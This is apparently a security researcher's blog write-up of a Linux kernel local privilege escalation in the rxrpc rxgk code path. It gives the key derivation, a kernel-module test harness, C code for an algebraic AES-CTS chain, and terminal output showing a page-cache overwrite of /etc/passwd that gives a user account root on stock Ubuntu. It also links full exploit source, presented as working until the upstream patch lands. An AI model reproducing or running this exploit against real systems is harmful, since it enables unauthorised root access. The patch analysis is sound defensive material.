_._     _,-'""`-._
(,-.`._,'(       |\`-/|
    `-.-' \ )-`( , o o)
          `-    \`_`"'-

copy fail 3: rxgk

2026-05-08 · linuxkernelrxrpcrxgkkerberoskrb5encmsg_splice_pagespage-cachecopyfaillpeexploit-dev

The LORD is a jealous God, and avengeth; the LORD avengeth, and is furious; the LORD will take vengeance on his adversaries, and he reserveth wrath for his enemies.

Nahum 1:2 (KJV)

Blessed be the LORD my strength, which teacheth my hands to war, and my fingers to fight.

Psalm 144:1 (KJV)

V4bel dropped Dirty Frag yesterday. two CVEs out of one family: in-place crypto running over an sk_buff whose scatterlist includes a splice()-pinned page-cache page, with the AEAD authentication step gated after the in-place write already landed. CVE-2026-43284 is the xfrm/ESP half. CVE-2026-43500 is the rxrpc half. they end the same way. pick a readable file, splice the right offset, and the kernel writes your bytes into the page cache for you.

his writeup covers rxkad, security_index 2. that's the 56-bit DES-derived pcbc(fcrypt) cipher AFS shipped back before anybody had a Kerberos stack worth the name. the exploit works because fcrypt is small enough to brute-force at 18 million ops/s on a laptop, so the kernel-side STORE value fcrypt_decrypt(C, K) becomes whatever you want once you rotate K through add_key enough times.

it doesn't cover rxgk, security_index 6. that's the GSSAPI/Kerberos class David Howells merged into the rxrpc tree as part of his AFS modernization work, alongside crypto/krb5/. AES-128-CTS-HMAC-SHA1-96 wrapped in crypto/krb5enc.c, decrypt-then-MAC by design. same family, different math. i'd already been through the xfrm and rxkad corners for Copy Fail 2; rxgk was the one where brute force died and i had to learn the cipher.

none of this is a new bug. the shared dispatcher above conn->security->verify_packet lives in net/rxrpc/call_event.c, and V4bel's patch adds the missing predicate right there. once it merges, the skb->data_len > 0 clause trips on every splice()-built skb, ours included. bpftrace confirms it on the unpatched kernel: every shot arrives with data_len=84 and nr_frags=2, so the patched gate fires every time. one merge closes both security classes.

the brute force is gone, though. here's how to do the rxgk corner without it.

the cipher killed the brute force

rxkad's primitive is the in-place 8-byte STORE inside rxkad_verify_packet_1. the bytes sitting at the spliced page-cache position get fed as ciphertext into pcbc(fcrypt) with a zero IV, and for a single block pcbc_decrypt(C, K, IV=0) == fcrypt_decrypt(C, K). cipher key K is 56 bits and lives in the rxrpc v1 token's session_key field, which add_key("rxrpc", ...) accepts unprivileged. rotate K, recompute, search.

V4bel's exploit assembles "::0:0:GGGGGG:" over /etc/passwd line 1 by chaining three of those 8-byte writes at file offsets 4, 6, 8. there's a last-write-wins trick in there to deal with the second and third writes seeing ciphertext the first write already mutated. PAM pam_unix.so nullok accepts the empty passwd field, and su - walks through with no password.

rxgk is AES-128. 2^128 keyspace. no rotation strategy, and no laptop that searches that.

there's also no K to search. the rxgk token's 16-byte field is K0, a base key. the kernel derives the actual cipher key Ke through the RFC 3961 chain:

TK = PRF+(K0, 16, epoch || cid || start_time || key_number)
Ke = DK(TK, htonl(usage) || KEY_USAGE_SEED_ENCRYPTION)

KEY_USAGE_SEED_ENCRYPTION is 0xAA, defined in include/crypto/krb5.h:63. usage for inbound DATA on a client is RXGK_SERVER_ENC_PACKET = 1028. start_time is whatever ktime_get() / 100 returned when the kernel client set up the connection. that's the same start_time the kernel emits in cleartext at offset 28 of the RESPONSE packet (rxgk_insert_response_header() in net/rxrpc/rxgk.c). epoch and cid we pull from the wire header of the kernel client's first DATA, and key_number lives in the cksum field of the RESPONSE.

all four are observable from a fake-server position. K0 is the only secret, and we put it there ourselves.

get the KDF right

i wrote a userspace implementation of PRF+/PRF/DK against net/crypto/krb5/rfc3961_simplified.c. got it wrong three times.

first: i had PRF+ using a 1-byte counter for each T_n block. crypto_krb5_calc_PRFplus() literally does *(__be32 *)(n_S.data) = htonl(n). four bytes, big-endian. PRF+ output diverges after T_1.

second: i had PRF truncating SHA1(input) to one cipher block by zeroing the low 4 bits of the last byte. the kernel does tmp2.len = tmp1.len & ~(m-1) and forwards the same buffer pointer. it's a length truncation. the bytes are untouched, only the count drops. same 16 bytes for AES-128 either way, but the zero-low-bits version produces the wrong PRF output every time.

third: i had DK's usage constant at 4 bytes. the kernel's krb5_derive_Ke() builds htonl(usage) || KEY_USAGE_SEED_ENCRYPTION for a 5-byte input that gets n-folded into the cipher block. one byte off, but n-fold smears it across the entire output.

i caught all three with a tiny in-tree module that calls the exported crypto_krb5_calc_PRFplus() on a fixed input set and prints TK to dmesg. that's kdf-oracle/krb5kdf_oracle.c:

static u8 K0[16] = {
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
    0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f
};
static u32 epoch_v       = 0x11223344;
static u32 cid_v         = 0x55667788;
static u64 start_time_v  = 0xaabbccddeeff0011ULL;
static u32 key_number_v  = 0;

static int __init kdf_oracle_init(void)
{
    const struct krb5_enctype *krb5;
    struct krb5_buffer K0buf, Sbuf, TKbuf;
    __be32 info[5];
    u8 TK[16];
    int ret;

    krb5 = crypto_krb5_find_enctype(17);
    if (!krb5) return -ENOENT;

    K0buf.data = K0;   K0buf.len = sizeof(K0);
    info[0] = cpu_to_be32(epoch_v);
    info[1] = cpu_to_be32(cid_v);
    info[2] = cpu_to_be32((u32)(start_time_v >> 32));
    info[3] = cpu_to_be32((u32)(start_time_v & 0xffffffffULL));
    info[4] = cpu_to_be32(key_number_v);
    Sbuf.data = info;  Sbuf.len = sizeof(info);
    TKbuf.data = TK;   TKbuf.len = sizeof(TK);

    ret = crypto_krb5_calc_PRFplus(krb5, &K0buf, sizeof(TK),
                                   &Sbuf, &TKbuf, GFP_KERNEL);
    if (ret) return ret;
    pr_info("krb5kdf_oracle: TK=%s\n", to_hex(TK, 16));
    return -EINVAL; /* refuse load -> auto-unload after print */
}

make && sudo insmod krb5kdf_oracle.ko on the lab box, and dmesg said:

krb5kdf_oracle: TK=ca327dd98f2837e52a3e3b1ebc3aee08

userspace ran the same input through krb5kdf.c. after the third bug:

userspace TK = ca327dd98f2837e52a3e3b1ebc3aee08
kernel    TK = ca327dd98f2837e52a3e3b1ebc3aee08
MATCH

now Ke is computable for any (K0, epoch, cid, start_time, key_number). the token gives us K0, the handshake gives us the rest.

the algebraic chain

V4bel's exploit needs decrypt(C) = target. he searches K. we already have K (Ke, derived above). what we have to make work is the cts(cbc(aes)) decrypt mapping from in-flight ciphertext to in-place plaintext.

lay the wire packet out as 28 (rxrpc header) + 32 (vmsplice'd attacker buffer) + 24 (splice from /etc/passwd at the np-line offset). 84 bytes total. after rxgk parsing, secure_len = 56, cksum_len = 12, crypt_len = 44. the kernel's cts(cbc(aes)) decrypt with IV=0 over those 44 bytes produces, written in encrypt-direction language:

ct[0..15]  = X0 = E_Ke(pt[0..15])
ct[16..31] = X2 = E_Ke((pt[32..43] || X1[12..15]) ^ X1)
ct[32..43] = X1[0..11]   where X1 = E_Ke(pt[16..31] ^ X0)

the [16..31]/[32..43] swap is RFC 3962 CS3 ciphertext stealing for the partial last block. the first 16 bytes go through plain CBC. the last 28 are mangled.

position the splice so file bytes land at ct[32..43]. that pins ct[32..43] = file[off..off+11], twelve bytes you don't control. pt[32..43] is what you want at the file offset; pick "x:0000:0000:" to flip a user line's UID:GID columns to 0:0. the other 24 bytes of plaintext (pt[0..31]) are confounder + rxgk header bytes. the kernel reads that header after decrypt to validate epoch/cid/call_number/seq, but the check runs after the in-place write, so any value gets through.

solve it backward. X1[0..11] is fixed by the file. X1[12..15] is free, pick zeros. pt[0..15] is free, pick zeros, which forces X0 = E_Ke(0). then pt[16..31] falls out of one decrypt: pt[16..31] = D_Ke(X1) ^ X0. and X2 = E_Ke((target || X1[12..15]) ^ X1). drop X0 at mal_hdr[28..43] and X2 at mal_hdr[44..59]. done.

four AES-ECB ops. no search. single shot.

uint8_t X0[16], X1[16], X2[16];
uint8_t pt0_15[16] = {0};
aes_ecb(Ke, pt0_15, X0, /*encrypt=*/1);

memcpy(X1, fwin, 12);
memset(X1 + 12, 0, 4);

uint8_t DX1[16];
aes_ecb(Ke, X1, DX1, /*decrypt=*/0);
/* pt[16..31] = DX1 ^ X0 -- not needed past this point */

uint8_t X2_in[16];
memcpy(X2_in, T, 12);
memcpy(X2_in + 12, &X1[12], 4);
for (int i = 0; i < 16; i++) X2_in[i] ^= X1[i];
aes_ecb(Ke, X2_in, X2, /*encrypt=*/1);

self-check: X1[0..11] equals the existing /etc/passwd bytes by construction. if it ever doesn't, the file moved under us between read and splice, and you've got a bigger problem.

the chain in flight

$ ./stage5e np
[+] /etc/passwd 'np' uid:gid window @ file offset 2835
[+]   current bytes:
  0000: 78 3a 31 30 30 31 3a 31 30 30 31 3a   x:1001:1001:
[+] desired plaintext (will land over file window):
  0000: 78 3a 30 30 30 30 3a 30 30 30 30 3a   x:0000:0000:
[+] got DATA epoch=0x94841f25 cid=0x6c3cbf88
[+] start_time=0x000001513ec870b8 key_number=0
[+] Ke 6a da c3 4e 1d bd f9 28 fd 50 5f 42 3e 94 42 02
[+] self-check PASS: X1[0..11] == /etc/passwd[off..off+11]
[+] malicious DATA packet sent (84 B)
[+] recvmsg: Bad message
[+] /etc/passwd[2835..2846] post-attack:
  0000: 78 3a 30 30 30 30 3a 30 30 30 30 3a   x:0000:0000:
[+] [ROOT] /etc/passwd page-cache flipped: 'np' line now matches target.

recvmsg: Bad message is the kernel rejecting the AEAD authentication. by then decrypt has already run and the page-cache page already holds the new bytes, so the -EBADMSG comes back too late to roll anything back. the page-cache modification sticks until the page is reclaimed or something writes drop_caches.

$ getent passwd np
np:x:0:0:Unprivileged audit account ...:/home/np:/bin/bash

NSS reads /etc/passwd through the page cache and sees uid 0. PAM still validates np's password against /etc/shadow, which is unchanged, so su np with the real np password walks through. once PAM succeeds, su looks up the target user via getpwnam("np") and setresuid(uid) to whatever passwd says. passwd says 0.

=== inside su ===
uid=0(root) gid=0(root) groups=0(root)

this works on stock Ubuntu 26.04 LTS Resolute, kernel 7.0.0-15-generic. no sudo, no userns, no CAP_*, no xfrm/ESP module. just add_key("rxrpc", ...), socket(AF_RXRPC, ...) autoload, vmsplice + splice. the same APIs V4bel's rxkad path leaned on.

what V4bel's patch covers

the patch sits at the shared dispatcher in net/rxrpc/call_event.c, above the per-security-class branch:

 			if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA &&
 			    sp->hdr.securityIndex != 0 &&
-			    skb_cloned(skb)) {
+			    (skb_cloned(skb) || skb->data_len)) {
 				/* Unshare the packet so that it can be
 				 * modified by in-place decryption.
 				 */
 				struct sk_buff *nskb = skb_copy(skb, GFP_ATOMIC);

securityIndex != 0 matches rxkad (2), rxgk (6), and whatever class comes next. skb->data_len > 0 catches every splice-built skb where data lives in frags. confirmed on the unpatched 7.0.0-15 kernel:

$ sudo bpftrace probe_rxrpc.bt &
$ ./stage5e np

rxrpc_input_call_packet: len=84 data_len=84 cloned=0 nr_frags=2
rxgk_verify_packet:      len=84 data_len=84 cloned=0

data_len=84 every time. once the patch lands the new clause trips, skb_copy() linearizes into a kernel-private buffer, and the in-place decrypt runs over bytes that no longer reference the page cache. the same merge that closes rxkad closes rxgk.

conn_event.c:248 gets the same one-line addition for the RESPONSE path, which covers rxgk_verify_authenticator()'s in-place decrypt of the encrypted authenticator inside RESPONSE. both rxgk crypto sites with attacker-controlled skb data sit downstream of those two gates.

what is and isn't here

the class is V4bel's. he saw it first. the shared-gate fix sits at the right line, so it covers everything below it, rxgk included. no separate CVE, no separate disclosure.

the rxgk-shaped corner needed different math, because AES isn't searchable and the cipher key isn't the token key. that part is mine: the algebraic CTS-CBC chain, the RFC 3961 KDF derivation, the in-tree oracle harness that caught three off-by-one bugs you can't debug out of the RFCs alone. reusable for anyone hitting another crypto/krb5enc.c consumer, or any future splice-frag bug in an AEAD-protected protocol where the key is out of reach.

Source: copy-fail-3-rxgk.tar.gz or browse the files individually: krb5kdf.h, krb5kdf.c, stage5e_passwd_flip.c, kdf-oracle/krb5kdf_oracle.c, kdf-oracle/Makefile. tested on 7.0.0-15-generic. it dies the moment V4bel's patch lands. until then it's one of the cleaner ways to get root on a stock Ubuntu Resolute box from a shell account.

. _SiCk · afflicted.sh